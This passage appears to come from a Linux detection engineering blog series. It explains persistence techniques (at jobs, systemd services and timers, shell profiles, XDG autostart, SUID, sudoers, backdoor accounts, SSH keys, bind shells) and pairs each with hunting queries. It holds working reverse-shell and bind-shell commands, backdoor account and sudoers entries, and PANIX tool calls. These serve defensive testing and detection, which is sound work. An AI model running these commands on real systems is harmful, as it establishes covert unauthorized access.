An At job is defined by specifying the exact time it should run. Depending on the configuration, users can schedule At jobs with either user or root permissions. This makes At a straightforward option for scheduling tasks without the need for persistent or repeated execution, but less useful for attackers. Additionally, At is not present on most Linux distributions by-default, which makes leveraging it even less trivial. However, it is still used for persistence, so we should not neglect the technique.

At jobs are stored in /var/spool/cron/atjobs/. Besides the At job, At also creates a spool file in the /var/spool/cron/atspool/ directory. These job files contain the details of the scheduled tasks, including the commands to be executed and the scheduled times.

To schedule a task using At, you simply provide the command to run and the time for execution. The syntax is straightforward:

echo "/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'" | at now + 1 minute

The above example schedules a task to run one minute from the current time. The time format can be flexible, such as at 5 PM tomorrow or at now + 2 hours. At job details can be listed using the atq command, and specific jobs can be removed using atrm.

At is useful for one-time task scheduling and complements cron for users needing recurring and single-instance task scheduling solutions. MITRE specifies more information and real-world examples related to this technique in T1053.002.

Persistence through T1053.002 - At

You can leverage the above command structure or use PANIX to set up an At job. Ensure At is installed on your system and the time settings are correct, as this might interfere with the execution.

./panix.sh --at --default --ip 192.168.1.1 --port 2002 --time 14:49
job 15 at Tue Jun 11 14:49:00 2024
[+] At job persistence established.

By default, depending on the privileges used to run the program, a reverse connection will be established at the time interval the user specified. Looking at the events in Discover:

We see the execution of PANIX, which is creating the At job. Next, At(d) creates two files, an At job and an At spool. At the correct time interval, the At job is executed, after which the reverse connection to the attack IP is established. Looking at these events, we have fewer behavioral coverage opportunities than we have for cron, as behaviorally, it is just /bin/sh executing a shell command. However, we can still identify the following artifacts:

T1053 - scheduled task/job: honorable mentions

Several other honorable mentions for establishing persistence through scheduled tasks/jobs include Anacron, Fcron, Task Spooler, and Batch. While these tools are less commonly leveraged by malware due to their non-default installation and limited versatility compared to cron and other mechanisms, they are still worth noting. We include behavioral detection rules for some of these in our persistence rule set. For example, Batch jobs are saved in the same location as At jobs and are covered by our "At Job Created or Modified" rule. Similarly, Anacron jobs are covered through our "Cron Job Created or Modified" rule, as Anacron integrates with the default Cron persistence detection setup.

Hunting for T1053 - scheduled task/job

Besides relying on Elastic’s pre-built detection and endpoint rules, a defender will greatly benefit from manual threat hunting. As part of Elastic’s 8.14 release, the general availability of the Elasticsearch Query Language (ES|QL) language was introduced. ES|QL provides a powerful way to filter, transform, and analyze data stored in Elasticsearch. For this use case, we will leverage ES|QL to hunt through all the data in an Elasticsearch stack for traces of cron, At, Anacron, Fcron, Task Spooler, and Batch persistence.

We can leverage the following ES|QL query that can be tailored to your specific environment:

This query returns 76 hits that could be investigated. Some are related to PANIX, others to real malware detonations, and some are false positives.

Dealing with false positives is crucial, as system administrators and other authorized personnel commonly use these tools. Differentiating between legitimate and malicious use is essential for maintaining an effective security posture. Accurately identifying the intent behind using these tools helps minimize disruptions caused by false alarms while ensuring that potential threats are addressed promptly.

Programs similar to cron also have an execution history, as all of the scripts it executes will have cron as its parent. This allows us to hunt for unusual process executions through ES|QL:

This example performs aggregation using a distinct_count of host.id. If an anomalous entry is observed, host_count can be removed, and additional fields such as host.name and user.name can be added to the by section. This can help find anomalous behavior on specific hosts rather than across the entire environment. This could also be an additional pivoting opportunity if suspicious processes are identified.

In this case, the query returns 37 results, most of which are true positives due to the nature of the testing stack in which this is executed.

In your environment, this will likely return a massive amount of results. You may consider reducing/increasing the number of days that are being searched. Additionally, the total count of entries (cc) and host_count can be increased/decreased to make sense for your environment. Every network is unique; therefore, a false positive in one environment may not be a false positive for every environment. Additionally, the total count of entries (cc) and host_count can be increased/decreased to make sense for your environment. Every network is unique, and therefore a false-positive in one environment may not be a false-positive in another. Adding exclusions specific to your needs will allow for easier hunting.

Besides ES|QL, we can also leverage Elastic’s OSQuery Manager integration. OSQuery is an open-source, cross-platform tool that uses SQL queries to investigate and monitor the operating system's performance, configuration, and security by exposing system information as a relational database. It allows administrators and security professionals to easily query system data and create real-time monitoring and analytics solutions. Streaming telemetry represents activity over time, while OSQuery focuses on static on-disk presence. This opens the door for detecting low-and-slow/decoupled-style attacks and might catch otherwise missed activity through telemetry hunting.

Information on how to set up OSQuery can be found in the Kibana docs, and a blog post explaining OSQuery in depth can be found here. We can run the following live query to display all of the cron files present on a particular system:

The following results are returned. We can see the /etc/cron.d/freedesktop_timesync1 with a file_last_status_change_time that is recent and differs from the rest of the cron files. This is the backdoor planted by PANIX.

If we want to dig deeper, OSQuery also provides a module to read the commands from the crontab file by running the following query:

This shows us the command, the location of the cron job, and the corresponding schedule at which it runs.

Analyzing the screenshot, we see two suspicious reverse shell entries, which could require additional manual investigation.

An overview of the hunts outlined above, with additional descriptions and references, can be found in our detection rules repository, specifically in the Linux hunting subdirectory. We can hunt for uncommon scheduled task file creations or unusual process executions through scheduled task executables by leveraging ES|QL and OSQuery. The Persistence via Cron hunt contains several ES|QL and OSQuery queries to aid this process.

T1453 - create or modify system process (systemd)

Systemd is a system and service manager for Linux, widely adopted as a replacement for the traditional SysVinit system. It is responsible for initializing the system, managing processes, and handling system resources. Systemd operates through a series of unit files defining how services should be started, stopped, and managed.

Unit files have different types, each designed for specific purposes. The Service unit is the most common unit type for managing long-running processes (typically daemons). Additionally, the Timer unit manages time-based activation of other units, similar to cron jobs, but integrated into Systemd.

This section will discuss T1453 for systemd services and generators, and T1053 for systemd timers.

T1453.002 - create or modify system process: systemd services

The services managed by systemd are defined by unit files, and are located in default directories, depending on the operating system and whether the service is run system-wide or user-specific. The system-wide unit files are typically located in the following directories:

• /run/systemd/system/
• /etc/systemd/system/
• /etc/systemd/user/
• /usr/local/lib/systemd/system/
• /lib/systemd/system/
• /usr/lib/systemd/system/
• /usr/lib/systemd/user/

User-specific unit files are typically located at:

• ~/.config/systemd/user/
• ~/.local/share/systemd/user/

A basic service unit file consists of three main sections: [Unit], [Service], and [Install], and has the .service extension. Here's an example of a simple unit file that could be leveraged for persistence:

[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

[Install]
WantedBy=multi-user.target

This unit file would attempt to establish a reverse shell connection every time the system boots, running with root privileges. More information and real-world examples related to systemd services are outlined by MITRE in T1543.002.

Relying solely on persistence upon reboot might be too restrictive. Timer unit files can be leveraged to overcome this limitation to ensure persistence on a predefined schedule.

T1053.006 - scheduled task/job: systemd timers

Timer units provide a versatile method to schedule tasks, similar to cron jobs but more integrated with the Systemd ecosystem. A timer unit specifies the schedule and is associated with a corresponding service unit that performs the task. Timer units can run tasks at specific intervals, on specific dates, or even based on system events.

Timer unit files are typically located in the same directories as the service unit files and have a .timer extension. Coupling timers to services is done by leveraging the same unit file name but changing the extension. An example of a timer unit file that would activate our previously created service every hour can look like this:

[Unit]
Description=Obviously not malicious at all

[Timer]
OnBootSec=1min
OnUnitActiveSec=1h

[Install]
WantedBy=timers.target

Timers are versatile and allow for different scheduling options. Some examples are OnCalendar=Mon,Wed,Fri 17:00:00 to run a service every Monday, Wednesday, and Friday at 5:00 PM, and OnCalendar=*-*-* 02:30:00 to run a service every day at 2:30 AM. More details and real world examples related to Systemd timers are presented by MITRE in T1053.006.

T1453 - create or modify system process: systemd generators

Generators are small executables executed by systemd at bootup and during configuration reloads. Their main role is to convert non-native configuration and execution parameters into dynamically generated unit files, symlinks, or drop-ins, extending the unit file hierarchy for the service manager.

System and user generators are loaded from the system-generators/ and user-generators/ directories, respectively, with those listed earlier overriding others of the same name. Generators produce output in three priority-based directories: generator.early (highest), generator (medium), and generator.late (lowest). Reloading daemons will re-run all generators and reload all units from disk.

System-wide generators can be placed in the following directories:

• /run/systemd/system-generators/
• /etc/systemd/system-generators/
• /usr/local/lib/systemd/system-generators/
• /lib/systemd/system-generators/
• /usr/lib/systemd/system-generators/

User-specific generators are placed in the following directories:

• /run/systemd/user-generators/
• /etc/systemd/user-generators/
• /usr/local/lib/systemd/user-generators/
• /lib/systemd/user-generators/
• /usr/lib/systemd/user-generators/

Pepe Berba's research explores using systemd generators to establish persistence. One method involves using a generator to create a service file that triggers a backdoor on boot. Alternatively, the generator can execute the backdoor directly, which can cause delays if the network service is not yet started, alerting the user. Systemd generators can be binaries or shell scripts. For example, a payload could look like this:

#!/bin/sh
# Create a systemd service unit file in the late directory
cat <<-EOL > "/run/systemd/system/generator.service"
[Unit]
Description=Generator Service

[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOL

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service

# Ensure the script exits successfully
exit 0

Which creates a new service (generator.service), which in turn executes /usr/lib/systemd/system-generators/makecon on boot. As this method creates a service (albeit via a generator), we will take a closer look at systemd service persistence. Let's examine how these work in practice.

Persistence through T1453/T1053 - systemd services, timers and generators

You can manually create the unit file in the appropriate directory, reload the daemon, enable and start the service, or use PANIX to do that for you. PANIX will create a service unit file in the specified directory, which in turn runs the custom command at a one-minute interval through a timer unit file. You can also use --default with --ip, --port, and –-timer.

sudo ./panix.sh --systemd --custom --path /etc/systemd/system/panix.service --command "/usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.1/2003 0>&1'" --timer
Service file created successfully!
Created symlink /etc/systemd/system/default.target.wants/panix.service → /etc/systemd/system/panix.service.
Timer file created successfully!
Created symlink /etc/systemd/system/timers.target.wants/panix.timer → /etc/systemd/system/panix.timer.
[+] Persistence established. 

When a service unit is enabled, systemd creates a symlink in the default.target.wants/ directory (or another appropriate target directory). This tells systemd to start the panix.service automatically when the system reaches the default.target. Similarly, the symlink for the timer unit file tells systemd to activate the timer based on the schedule defined in the timer unit file.

We can analyze and find out what happened when looking at the documents in Kibana:

PANIX is executed, which creates the panix.service and panix.timer units in the corresponding directories. Then, systemctl is used to reload the daemons, after which the panix.timer is enabled and started, enabling systemd to run the ExecStart section of the service unit (which initiates the outbound network connection) every time the timer hits. To detect potential systemd persistence, we leverage the following behavioral rules:

Hunting for T1053/T1453 - systemd services, timers and generators

We can hunt for uncommon service/timer/generator file creations in our environment through systemd by leveraging ES|QL and OSQuery. The Persistence via Systemd (Timers) file contains several ES|QL and OSQuery queries that can help hunt for these types of persistence.

T1546.004 - event triggered execution: Unix shell configuration modification

Unix shell configuration files are scripts that run throughout a user session based on events (e.g., log in/out, or open/close a shell session). These files are used to customize the shell environment, including setting environment variables, aliases, and other session-specific settings. As these files are executed via a shell, they can easily be leveraged by attackers to establish persistence on a system by injecting backdoors into these scripts.

Different shells have their own configuration files. Similarly to cron and systemd, this persistence mechanism can be established with both user and root privileges. Depending on the shell, system-wide shell configuration files are located in the following locations and require root permissions to be changed:

• /etc/profile
• /etc/profile.d/
• /etc/bash.bashrc
• /etc/bash.bash_logout

User-specific shell configuration files are triggered through actions performed by and executed in the user's context. Depending on the shell, these typically include:

• ~/.profile
• ~/.bash_profile
• ~/.bash_login
• ~/.bash_logout
• ~/.bashrc

Once modified, these scripts ensure malicious commands are executed for every user login or logout. These scripts are executed in a specific order. When a user logs in via SSH, the order of execution for the login shells is:

1. /etc/profile
2. ~/.bash_profile (if it exists, otherwise)
3. ~/.bash_login (if it exists, otherwise)
4. ~/.profile (if it exists)

For non-login interactive shell initialization, ~/.bashrc is executed. Typically, to ensure this configuration file is also executed on login, ~/.bashrc is sourced within ~/.bash_profile, ~/.bash_login or ~/.profile. Additionally, a backdoor can be added to the ~/.bash_logout configuration file for persistence upon shell termination.

When planting a backdoor in one of these files, it is important not to make mistakes in the execution chain, meaning that it is both important to pick the correct configuration file and to pick a fitting payload. A typical reverse shell connection will make the terminal freeze while sending the reverse shell connection to the background will make it malfunction. A potential payload could look like this:

(nohup bash -i > /dev/tcp/192.168.1.1/1337 0<&1 2>&1 &)

This command uses “nohup” (no hang up) to run an interactive bash reverse shell as a background process, ensuring it continues running even after the initiating user logs out. The entire command is then executed in the background using & and wrapped in parentheses to create a subshell, preventing any interference with the parent shell’s operations.

Be vigilant for other types of backdoors, such as credential stealers that create fake “[sudo] password for…” prompts when running sudo or the execution of malicious binaries. MITRE specifies more information and real-world examples related to this technique in T1546.004.

Persistence through T1546.004 - shell profile modification

You can add a bash payload to shell configuration files either manually or using PANIX. When PANIX runs with user privileges, it establishes persistence by modifying ~/.bash_profile. With root privileges, it modifies the /etc/profile file to achieve system-wide persistence.

sudo ./panix.sh --shell-profile --default --ip 192.168.1.1 --port 2004

To trigger it, either log in as root via the shell with su --login root or login via SSH. The shell profile will be parsed and executed in order, resulting in the following chain of execution:

PANIX plants the backdoor in /etc/profile, next su --login root is executed to trigger the payload, the UID/GID changes to root, and a network connection is initiated through the injected backdoor. A similar process occurs when logging in via SSH. We can detect several steps of the attack chain.

Detection and endpoint rules that cover shell profile modification persistence_

Hunting for T1546.004 - shell configuration modification

We can hunt for shell profile file creations/modification, as well as SSHD child processes, by leveraging ES|QL and OSQuery. The Shell Modification Persistence hunting rule contains several of these hunting queries.

T1547.013 - boot or logon autostart execution: XDG autostart entries

Cross-Desktop Group (XDG) is a set of standards for Unix desktop environments that describe how applications should be started automatically when a user logs in. The XDG Autostart specification is particularly interesting, as it defines a way to automatically launch applications based on desktop entry files, which are plain text files with the .desktop extension.

The .desktop files are typically used to configure how applications appear in menus and how they are launched. By leveraging XDG Autostart, attackers can configure malicious applications to run automatically whenever users log into their desktop environment.

The location where these files can be placed varies based on whether the persistence is being established for all users (system-wide) or a specific user. It also depends on the desktop environment used; for example, KDE has other configuration locations than Gnome. Default system-wide autostart files are located in directories that require root permissions to modify, such as:

• /etc/xdg/autostart/
• /usr/share/autostart/

Default user-specific autostart files, other than the root user-specific autostart file, only require user-level permissions. These are typically located in:

• ~/.config/autostart/
• ~/.local/share/autostart/
• ~/.config/autostart-scripts/ (not part of XDG standard, but used by KDE)
• /root/.config/autostart/*
• /root/.local/share/autostart/
• /root/.config/autostart-scripts/

An example of a .desktop file that executes a binary whenever a user logs in looks like this:

[Desktop Entry]
Type=Application
Exec=/path/to/malicious/binary
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Updater

Volexity recently published research on DISGOMOJI malware, which was found to establish persistence by dropping a .desktop file in the ~/.config/autostart/ directory, which would execute a malicious backdoor planted on the system. As it can be established with both user/root privileges, it is an interesting candidate for automated persistence implementations. Additionally, more information and real-world examples related to this technique are specified by MITRE in T1547.013.

Persistence through T1547.013 - Cross-Desktop Group (XDG)

You can determine coverage and dynamically analyze this technique manually or through PANIX. When analyzing this technique, make sure XDG is available on your testing system, as it is designed to be used on systems with a GUI (XDG can also be used without a GUI). When PANIX runs with user privileges, it establishes persistence by modifying ~/.config/autostart/user-dirs.desktop to execute ~/.config/autostart/.user-dirs and achieve user-specific persistence. With root privileges, it modifies /etc/xdg/autostart/pkc12-register.desktop to execute /etc/xdg/pkc12-register and achieve system-wide persistence.

sudo ./panix.sh --xdg --default --ip 192.168.1.1 --port 2005
[+] XDG persistence established.

After rebooting the system and collecting the logs, the following events will be present for a GNOME-based system.

We can see PANIX creating the /etc/xdg/autostart directory and the pkc12-register/pkc12-register.desktop files. It grants execution privileges to the backdoor script, after which persistence is established. When the user logs in, the .desktop files are parsed, and /usr/libexec/gnome-session-binary executes its contents, which in turn initiates the reverse shell connection. Here, again, we can detect several parts of the attack chain.

Again, the file category has two different rules: the former focuses on creation/modification using Elastic Defend, while the latter focuses on modification through FIM.

Hunting for T1547.013 - XDG autostart entries

Hunting for persistence through XDG involves XDG .desktop file creations in known locations and unusual child processes spawned from a session-manager parent through ES|QL and OSQuery. The XDG Persistence hunting rule contains several queries to hunt for XDG persistence.

T1548.001 - abuse elevation control mechanism: setuid and setgid

Set Owner User ID (SUID) and Set Group ID (SGID) are Unix file permissions allowing users to run executables with the executable’s owner or group permissions, respectively. When the SUID bit is set on an executable owned by the root user, any user running the executable gains root privileges. Similarly, when the SGID bit is set on an executable, it runs with the permissions of the group that owns the file.

Typical targets for SUID and SGID backdoors include common system binaries like find, vim, or bash, frequently available and widely used. GTFOBins provides a list of common Unix binaries that can be exploited to obtain a root shell or unauthorized file reads. System administrators must be cautious when managing SUID and SGID binaries, as improperly configured permissions can lead to significant security vulnerabilities.

To exploit this, either a misconfigured SUID or SGID binary must be present on the system, or root-level privileges must be obtained to create a backdoor. Typical privilege escalation enumeration scripts enumerate the entire filesystem for the presence of these binaries using find.

SUID and SGID binaries are common on Linux and are available on the system by default. Generally, these cannot be exploited. An example of a misconfigured SUID binary looks like this:

find / -perm -4000 -type f -exec ls -la {} \;
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

The /bin/bash binary is not a default SUID binary and causes a security risk. An attacker could now run /bin/bash -p to run bash and keep the root privileges on execution. More information on this is available at GTFOBins. Although MITRE defines this as privilege escalation/defense evasion, it can (as shown) be used for persistence as well. More information by MITRE on this technique is available at T1548.001.

Persistence through T1548.001 - setuid and setgid

This method requires root privileges, as it sets the SUID bit to a set of executables:

sudo ./panix.sh --suid --default
[+] SUID privilege granted to /usr/bin/find
[+] SUID privilege granted to /usr/bin/dash
[-] python is not present on the system.
[+] SUID privilege granted to /usr/bin/python3                                                                                       

After setting SUID permissions to the binary, it can be executed in a manner that will allow the user to keep the root privileges:

/usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root

Looking at the events this generates, we can see a discrepancy between the user ID and real user ID:

After executing PANIX with sudo, SUID permissions were granted to /usr/bin/find, /usr/bin/dash, and /usr/bin/python3 using chmod. Subsequently, /usr/bin/find was utilized to run /bin/sh with privileged mode (-p) to obtain a root shell. Typically, the real user ID of a process matches the effective user ID. However, there are exceptions, such as when using sudo, su, or, as demonstrated here, a SUID binary, where the real user ID differs. Using our knowledge of GTFOBins and the execution chain, we can detect several indicators of SUID and SGID abuse.

Hunting for T1548.001 - setuid and setgid

The simplest and most effective way of hunting for SUID and SGID files is to search the filesystem for these files through OSQuery and take note of unusual ones. The OSQuery SUID Hunting rule can help you to hunt for this technique.

T1548.003 - abuse elevation control mechanism: sudo and sudo caching (sudoers file modification)

The sudo command allows users to execute commands with superuser or other user privileges. The sudoers file manages sudo permissions, which dictates who can use sudo and what commands they can run. The main configuration file is located at /etc/sudoers.

This file contains global settings and user-specific rules for sudo access. Additionally, there is a directory used to store additional sudoers configuration files at /etc/sudoers.d/. Each file in this directory is treated as an extension of the main sudoers file, allowing for modular and organized sudo configurations.

Both system administrators and threat actors can misconfigure the sudoers file and its extensions. A common accidental misconfiguration might be overly permissive rules that grant users more access than necessary. Conversely, a threat actor with root access can deliberately modify these files to ensure they maintain elevated access.

An example of a misconfiguration or backdoor that allows an attacker to run any command as any user without a password prompt looks like this:

Attacker ALL=(ALL) NOPASSWD:ALL

By exploiting such misconfigurations, an attacker can maintain persistent root access. For example, with the above backdoored configuration, the attacker can gain a root shell by executing sudo /bin/bash. Similarly to the previous technique, this technique is also classified as privilege escalation/defense evasion by MITRE. Of course, this is again true, but it is also a way of establishing persistence. More information on T1548.003 can be found here.

Persistence through T1548.003 - sudoers file modification

The sudo -l command can be used to list out the allowed (and forbidden) commands for the user on the current host. By default, a non-root user cannot run any commands using sudo without specifying a password.

sudo -l
[sudo] password for attacker:

Let’s add a backdoor entry for the attacker user:

sudo ./panix.sh --sudoers --username attacker
[+] User attacker can now run all commands without a sudo password.

After adding a backdoor in the sudoers file and rerunning the sudo -l command, we see that the attacker can now run any command on the system with sudo without specifying a password.

> sudo -l
> User attacker may run the following commands on ubuntu-persistence-research:
>  (ALL : ALL) ALL
>  (ALL) NOPASSWD: ALL 

After planting this backdoor, not much traces are left behind, other than the creation of the /etc/sudoers.d/attacker file.

This backdoor can also be established by adding to the /etc/sudoers file, which would not generate a file creation event. This event can be captured via FIM.

Hunting for T1548.003 - sudoers file modification

OSQuery provides a module that displays all sudoers files and rules through a simple and effective live hunt, available at Privilege Escalation Identification via Existing Sudoers File.

T1098/T1136 - account manipulation/creation

Persistence can be established through the creation or modification of user accounts. By manipulating user credentials or permissions, attackers can ensure long-term access to a compromised system. This section covers various methods of achieving persistence through user account manipulation. MITRE divides this section into T1098 (account manipulation) and T1136 (create account).

T1136.001 - create account: local account

Creating a new user account is a straightforward way to establish persistence. An attacker with root privileges can add a new user, ensuring they maintain access to the system even if other backdoors are removed. For example:

useradd -m -s /bin/bash backdooruser
echo 'backdooruser:password' | chpasswd

This creates a new user called backdooruser with a password of password.

T1098 - account manipulation: user credential modification

Modifying the credentials of an existing user can also provide persistent access. This might involve changing the password of a privileged user account.

echo 'targetuser:newpassword' | chpasswd

This changes the password for targetuser to newpassword.

T1098 - account manipulation: direct /etc/passwd file modification

Directly writing to the /etc/passwd file is another method for modifying user accounts. This approach allows attackers to manually add or modify user entries, potentially avoiding detection.

echo "malicioususer:<openssl-hash>:0:0:root:/root:/bin/bash" >> /etc/passwd

Where <;openssl-hash> is a hash that can be generated through openssl passwd "$password".

The command above creates a new user malicioususer, adds them to the sudo group, and sets a password. Similarly, this attack can be performed on the /etc/shadow file, by replacing the hash for a user’s password with a known hash.

T1136.001 - create account: backdoor user creation

A backdoor user is a user account created or modified specifically to maintain access to the system. This account often has elevated privileges and is intended to be difficult to detect. One method involves creating a user with a UID of 0, effectively making it a root-equivalent user. This approach is detailed in a blog post called Backdoor users on Linux with uid=0.

useradd -ou 0 -g 0 -m -d /root -s /bin/bash backdoorroot
echo 'backdoorroot:password' | chpasswd

This creates a new user backdoorroot with UID 0, giving it root privileges.

T1098 - account manipulation: user added to privileged group

Adding an existing user to a privileged group, such as the sudo group, can elevate their permissions, allowing them to execute commands with superuser privileges.

usermod -aG sudo existinguser

This adds existinguser to the sudo group.

Persistence through T1098/T1136 - account manipulation/creation

All of these techniques are trivial to execute manually, but they are also built into PANIX in case you want to analyze the logs using a binary rather than a manual action. As the events generated by these techniques are not very interesting, we will not analyze them individually. We detect all the techniques described above through a vast set of detection rules.

Hunting for T1098/T1136 - account manipulation/creation

There are many ways to hunt for these techniques. The above detection rules can be added as a timelines query to look back at a longer duration of time, the /var/log/auth.log (and equivalents on other Linux distributions) can be parsed and read, and OSQuery can be leveraged to read user info from a running system. The Privilege Escalation/Persistence via User/Group Creation and/or Modification hunt rule contains several OSQuery queries to hunt for these techniques.

T1098.004 - account manipulation: SSH

Secure Shell (SSH) is a protocol to securely access remote systems. It leverages public/private key pairs to authenticate users, providing a more secure alternative to password-based logins. The SSH keys consist of a private key, kept secure by the user, and a public key, shared with the remote system.

The default locations for user-specific SSH key files and configuration files are as follows:

• ~/.ssh/id_rsa
• ~/.ssh/id_rsa.pub
• ~/.ssh/authorized_keys
• /root/.ssh/id_rsa
• /root/.ssh/id_rsa.pub
• /root/.ssh/authorized_keys

A system-wide configuration is present in:

• /etc/ssh/

The private key remains on the client machine, while the public key is copied to the remote server’s authorized_keys file. This setup allows the user to authenticate with the server without entering a password.

SSH keys are used to authenticate remote login sessions via SSH and for services like Secure Copy Protocol (SCP) and Secure File Transfer Protocol (SFTP), which allow secure file transfers between machines.

An attacker can establish persistence on a compromised host by adding their public key to the authorized_keys file of a user with sufficient privileges. This ensures they can regain access to the system even if the user changes their password. This persistence method is stealthy as built-in shell commands can be used, which are commonly more difficult to capture as a data source. Additionally, it does not rely on creating new user accounts or modifying system binaries.

Persistence through T1098.004 - SSH modification

Similar to previously, PANIX can be used to establish persistence through SSH. It can also be tested by manually adding a new key to ~/.ssh/authorized_keys, or by creating a new public/private key pair on the system. If you want to test these techniques, you can execute the following PANIX command to establish persistence by creating a new key:

./panix.sh --ssh-key --default
SSH key generated:
Private key: /home/user/.ssh/id_rsa18220
Public key: /home/user/.ssh/id_rsa1822.pub
[+] SSH key persistence established.

Use the following PANIX command to add a new public key to the authorized_keys file:

./panix.sh  --authorized-keys --default --key <key>
[+] Persistence added to /home/user/.ssh/authorized_keys

For file modification events, we can leverage FIM. We have several detection rules covering this technique in place.

A note on leveraging the “Potential Persistence via File Modification” rule: due to the limitation of leveraging wildcards in FIM, the FIM configuration should be adapted to represent your environment’s public/private key and authorized_keys file locations. MITRE provides additional information on this technique in T1098.004.

Hunting for T1098.004 - SSH modification

The main focuses while hunting for SSH persistence are newly added public/private keys, file changes related to the authorized_keys files, and configuration changes. We can leverage OSQuery to hunt for all three through the queries in the Persistence via SSH Configurations and/or Keys hunt.

T1059.004 - command and scripting interpreter: bind shells

A bind shell is a remote access tool allowing an attacker to connect to a compromised system. Unlike reverse shells, which connect back to the attacker’s machine, a bind shell listens for incoming connections on the compromised host. This allows the attacker to connect at will, gaining command execution on the target machine.

A bind shell typically involves the following steps:

1. Listening Socket: The compromised system opens a network socket and listens for incoming connections on a specific port.
2. Binding the Shell: When a connection is established, the system binds a command shell (such as /bin/bash or /bin/sh) to the socket.
3. Remote Access: The attacker connects to the bind shell using a network client (like netcat) and gains access to the command shell on the compromised system.

An attacker can set up a bind shell in various ways, ranging from simple one-liners to more sophisticated scripts. Here is an example of a bind shell using the traditional version of netcat:

nc -lvnp 9001 -e /bin/bash

Once the bind shell is set up, the attacker can connect to it from their machine:

nc -nv <target_ip> 4444

To maintain persistence, the bind shell must be set to start automatically upon system boot or reboot. This can be achieved through various methods we discussed earlier, such as cron, Systemd, or methods discussed in the next part of this Linux detection engineering series.

MITRE does not have a specific bind/reverse-shell technique, and probably classifies bind shells as the execution technique. However, the bind shell is used for persistence in our use case. Some more information from MITRE on bind/reverse shells is available at T1059.004.

Persistence through T1059.004 - bind shells

Detecting bind shells through behavioral rules is inherently challenging because their behavior is typically benign and indistinguishable from legitimate processes. A bind shell opens a network socket and waits for an incoming connection, a common activity for many legitimate services. When an attacker connects, it merely results in a network connection and the initiation of a shell session, which are both normal operations on a system.

Due to behavioral detection's limitations, the most reliable method for identifying bind shells is static signature detection. This approach involves scanning the file system or memory for known shellcode patterns associated with bind shells.

By leveraging static signatures, we can identify and prevent bind shells more effectively than relying solely on behavioral analysis. This approach helps detect the specific code sequences used by bind shells, regardless of their behavior, ensuring a more robust defense against this type of persistence mechanism.

As all of our signature-based detections are open-source, you can check them out by visiting our protections-artifacts YARA repository. If you want to analyze this method within your tooling, you can leverage PANIX to set up a bind shell and connect to it using nc. To do so, execute the following command:

./panix.sh --bind-shell --default --architecture x64
[+] Bind shell /tmp/bd64 was created, executed and backgrounded.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!

Hunting for T1059.004 - bind shells

Although writing solid behavioral detection rules that do not provide false positives on a regular basis is near impossible, hunting for them is not. Based on the behavior of a bind shell, we know that we can look for long running processes, listening ports and listening sockets. To do so, we can leverage OSQuery. Several hunts are available for this scenario within the Persistence Through Reverse/Bind Shells hunting rule.

T1059.004 - command and scripting interpreter: reverse shells

Reverse shells are utilized in many of the persistence techniques discussed in this article and will be further explored in upcoming parts. While specific rules for detecting reverse shells were not added to many of the techniques above, they are very relevant. To maintain consistency and ensure comprehensive coverage, the following detection and endpoint rules are included to capture these persistence mechanisms.

Conclusion

In this part of the “Linux Detection Engineering” series, we looked into the basics of Linux persistence. If you missed the first part of the series, which focused on detection engineering with Auditd, you can catch up here. This article explored various persistence techniques, including scheduled tasks, systemd services, shell profile modifications, XDG autostart configurations, SUID/SGID binaries, sudoers rules, user and group creations/modifications, SSH key, and authorized_key modifications, bind and reverse shells.

Not only did the explanation cover how each persistence method operates, but it also provided practical demonstrations of configuring them using a straightforward tool called PANIX. This hands-on approach enabled you to test the coverage of these techniques using your preferred security product. Additionally, we discussed hunting strategies for each method, ranging from ES|QL aggregation queries to live hunt queries with OSQuery.

We hope you found this format helpful. In the next article, we'll explore more advanced and lesser-known persistence methods used in the wild. Until then, happy hunting!

Unix and Linux systems operate behind the scenes, quietly underpinning a significant portion of our technological infrastructure. With the increasing complexity of threats targeting these systems, ensuring their security has become more important than ever.

One of the foundational tools in the arsenal of security detection engineers working within Unix and Linux systems is Auditd. This powerful utility is designed for monitoring and recording system events, providing a detailed audit trail of who did what and when. It acts as a watchdog, patrolling and recording detailed information about system calls, file accesses, and system changes, which are crucial for forensic analysis and real-time monitoring.

The objective of this article is multifaceted:

1. We aim to provide additional information regarding Auditd, showcasing its capabilities and the immense power it holds in security detection engineering.
2. We will guide you through setting up Auditd on your own systems, tailoring it to meet your specific monitoring needs. By understanding how to create and modify Auditd rules, you will learn how to capture the exact behavior you're interested in monitoring and interpret the resulting logs to create your own detection rules.
3. We'll introduce Auditd Manager, an integration tool that enhances Auditd’s utility by simplifying the management of Auditd across systems.

By the end of this post, you'll not only learn how to employ Auditd Manager to incorporate some of our pre-built detection rules into your security strategy, but also gain a comprehensive understanding of Auditd and how to leverage it to build your own detection rules as well.

Introduction to Auditd

Auditd is a Linux tool designed for monitoring and recording system events to provide a comprehensive audit trail of user activities, system changes, and security access. Auditd operates by hooking into the Linux kernel, capturing detailed information about system calls and other system events as they happen. These events are then logged to a file, providing a timestamped record. Administrators can define rules that specify which events to log, offering the flexibility to focus on specific areas of interest or concern. The logged data can be used for a variety of purposes, from compliance auditing to detailed forensic analysis.

Auditd setup

To get started with Auditd, Elastic provides several options:

• Auditbeat’s Auditd module
• Filebeat’s Auditd module
• Elastic Agent’s Auditd Logs integration
• Elastic Agent’s Auditd Manager integration

In this article, we will focus on the latter two, leveraging the Elastic Agent to easily ingest logs into Elasticsearch. If you are new to Elasticsearch you can easily create an Elastic Cloud Account with a 30-day trial license, or for local testing, you can download The Elastic Container Project and set the license value to trial in the .env file.

Feel free to follow along using Auditbeat or Filebeat - for setup instructions, consult the documentation linked above. As the Auditd Logs integration works by parsing the audit.log file, you are required to install Auditd on the Linux host from which you wish to gather the logs. Depending on the Linux distribution and the package manager of choice, the Auditd package should be installed, and the Auditd service should be started and enabled. For Debian-based distributions:

sudo apt update
sudo apt install auditd
sudo systemctl start auditd
